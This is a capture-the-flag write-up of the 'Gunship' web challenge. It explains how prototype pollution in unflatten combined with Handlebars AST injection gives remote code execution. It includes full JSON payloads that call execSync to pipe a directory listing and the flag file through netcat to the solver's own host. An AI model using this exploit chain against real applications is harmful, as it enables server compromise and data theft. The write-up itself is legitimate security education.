A classmate was assigned with developing a website using a prototype-based language called Javascript. Now we have Gunship, a tribute page to the legendary synthwave band.. what could possibly go wrong?

Solver: davex

Category: web

Walktthrough

The first look at the challenge already hinted at a part of the solution. The title of the challenge webpage is

’title’

This hints that AST injections will be part of this challenge. Furthermore, the first look into the sourcecode of the challenge gave a huge hint for the solution

(source of routes/index.js)

router.post('/api/submit', (req, res) => {
    // unflatten seems outdated and a bit vulnerable to prototype pollution
    // we sure hope so that po6ix doesn't pwn our puny app with his AST injection on template engines

    const { artist } = unflatten(req.body);
    console.log(artist);

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        return res.json({
            'response': handlebars.compile('Hello {{ user }}, thank you for letting us know!')({ user: 'guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

Because of the hints in the comments of the route we looked up who po6ix is and how his AST injection works. We immediately found the link [1] to his blog post which describes a bug in the here used handlebars template engine. The main bug he is describing lies in the handling of an input object with a type called Programm which is not properly handled by the parser used in the handlebars package. The important thing is that because the given object looks already like an AST Object the parser would send it to the compiler of handlebars without any processing. The compiler handles a Programm Object like this

accept: function accept(node) {
    /* istanbul ignore next: Sanity code */
    if (!this[node.type]) {
        throw new _exception2['default']('Unknown type: ' + node.type, node);
    }

    this.sourceNode.unshift(node);
    var ret = this[node.type](node);
    this.sourceNode.shift();
    return ret;
},
Program: function Program(program) {
    console.log((new Error).stack)
    this.options.blockParams.unshift(program.blockParams);

    var body = program.body,
        bodyLength = body.length;
    for (var i = 0; i < bodyLength; i++) {
        this.accept(body[i]);
    }

    this.options.blockParams.shift();

    this.isSimple = bodyLength === 1;
    this.blockParams = program.blockParams ? program.blockParams.length : 0;

    return this;
}

You can the that the objects of the body attribute will be sent to the accept function of the compiler. The accept function will call this[node.type] of the compiler which leads to the fact that the body attribute is used for the constructing function. It turns out that the value of the params of the send Programm object will be part of the return statement of the main function of the created template, e.g.

return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), OUR_VALUE_OF_THE_OBJECT, {
        "name": "undefined",
        "hash": {},
        "data": data,
        "loc": {
            "start": 0,
            "end": 0
        }
    })) != null ? stack1 : "");

This means if we could inject some valid JS-Code here the code will actually be executed before it is gonna be returned.

But of course, you cannot just simply create an object on the server-side of type Programm. For this, the prototype pollution [2] vulnerability of unflatten takes an important part. If we send a JSON with __proto__ identifier to the unflatten function it will create us an object of a type and body (which contains the param values) we can freely define.

With the example given by the blog post of po6ix we could build our own exploit with the following steps.

Step 0

We looked up through all the challenge files we received. We saw that the entry point of the Docker Image moves the flag and set it to a random name

#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /app/flag /app/flag$FLAG

exec "$@"

This means we first need to get the name of the flag file before we can read the flag.

The following JSON Requests we simply sent with postman to our Docker address and the path /api/submit.

Step 1

We need to inject a Programm object to the backend without calling the handlebars.compile() function. We can avoid the compile function by sending an invalid artist.name. As described above the value of our object in the body will be executed in the return statement. Because of this we simply call a child process which will send via netcat the directory listing of the /app/ folder to our server.

{
    "artist.name": "InvalidName",
    "__proto__.type": "Program",
    "__proto__.body":[
       {
          "type":"MustacheStatement",
          "path": 0,
          "params":[
             {
                "type": "NumberLiteral",
                "value": "process.mainModule.require('child_process').execSync(`/bin/sh -c 'ls -l /app/ | nc myip 1338'`)"
             }
          ],
          "loc":{
             "start": 0,
             "end": 0
          }
       }
    ]
}

Step 2

To trigger now the handlebars Compiler we simply can send a valid artist.name.

{
    "artist.name": "Haigh"
}

We waited for a response on our server (listening on port 1338) and received the folder structure folder-structure

Step 3

Now we have the wanted flag filename and we can repeat Step 1 with a modified bash command

{
    "artist.name": "InvalidName",
    "__proto__.type": "Program",
    "__proto__.body":[
       {
          "type":"MustacheStatement",
          "path": 0,
          "params":[
             {
                "type": "NumberLiteral",
                "value": "process.mainModule.require('child_process').execSync(`/bin/sh -c 'cat /app/flagzqzF2 | nc myip 1338'`)"
             }
          ],
          "loc":{
             "start": 0,
             "end": 0
          }
       }
    ]
}

We now just need to trigger the handlebars.compile function with the same JSON as in Step 2.

We received the following message on our server the-flag

HTB{wh3n_l1f3_g1v3s_y0u_p6_st4rt_p0llut1ng_w1th_styl3}

Other resources

  1. https://blog.p6.is/AST-Injection/
  2. https://codeburst.io/what-is-prototype-pollution-49482fc4b638Are